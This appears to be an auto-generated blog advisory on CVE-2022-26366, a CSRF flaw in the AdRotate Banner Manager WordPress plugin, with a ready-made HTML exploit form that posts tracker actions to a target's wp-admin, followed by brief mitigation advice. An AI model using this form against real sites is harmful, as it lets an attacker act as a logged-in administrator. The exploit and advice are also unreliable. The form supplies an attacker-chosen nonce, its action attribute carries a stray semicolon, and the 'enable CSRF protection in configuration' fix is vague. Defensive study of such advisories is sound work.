A critical Cross-Site Request Forgery (CSRF) vulnerability has been identified in AdRotate Banner Manager Plugin (version <= 5.9) on WordPress, which has been assigned CVE-2022-26366. This post aims to provide a comprehensive understanding of the exploit, including code snippets, original references, and vulnerability details. The content is written in simple American English to make it accessible for everyone.

Exploit Details

The Cross-Site Request Forgery (CSRF) vulnerability identified in AdRotate Banner Manager Plugin allows an attacker to perform actions on behalf of an authenticated user without their consent. By exploiting this security flaw, attackers can execute unauthorized commands and modify data, potentially resulting in unauthorized administrative access, sensitive data disclosure, and unauthorized asset management.

Below is an example of a CSRF attack exploiting the vulnerability in AdRotate Banner Manager Plugin

<!DOCTYPE html>
<html>
  <head>
    <title>CVE-2022-26366 Exploit</title>
  </head>
  <body>
    <h1>CVE-2022-26366 - AdRotate Banner Manager Plugin CSRF Exploit</h1>
    <form action="http://targetsite.com/wp-admin/admin.php?page=adrotate-ads&view=tracker&adrotate_id=1"; method="POST">
      <input type="hidden" name="_wpnonce" value="insert-attacker-controlled-value-here" />
      <input type="hidden" name="_wp_http_referer" value="/wp-admin/admin.php?page=adrotate-ads"/>
      <input type="hidden" name="MAX_FILE_SIZE" value="" />
      <input type="hidden" name="adrotate_id" value="1" />
      <input type="hidden" name="adrotate_action" value="tracker_touched" />
      <input type="submit" value="Click here to exploit the vulnerability" />
    </form>
  </body>
</html>

The above HTML code creates a malicious form that, when submitted by an unsuspecting user, triggers the CSRF vulnerability in AdRotate Banner Manager Plugin. The form modifies the plugin's settings by sending a POST request with arbitrary values controlled by the attacker.

Original References

1. AdRotate Banner Manager Plugin: https://wordpress.org/plugins/adrotate/
2. CVE-2022-26366: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-26366
3. WordPress Version: https://wordpress.org/download/

Mitigation

To mitigate this vulnerability, it is highly recommended to update the AdRotate Banner Manager Plugin to the latest version (greater than 5.9). Furthermore, it is also recommended to enable Cross-Site Request Forgery (CSRF) protection in the plugin's configuration.

Conclusion

In conclusion, the discovery of CVE-2022-26366 is a significant security alert for WordPress site administrators and developers using the AdRotate Banner Manager Plugin. Ensure that the plugin is updated to its latest version to prevent potential attacks. Additionally, websites should implement appropriate CSRF protections to prevent any similar future attacks.

Timeline

Published on: 11/30/2022 13:15:00 UTC
Last modified on: 12/02/2022 15:10:00 UTC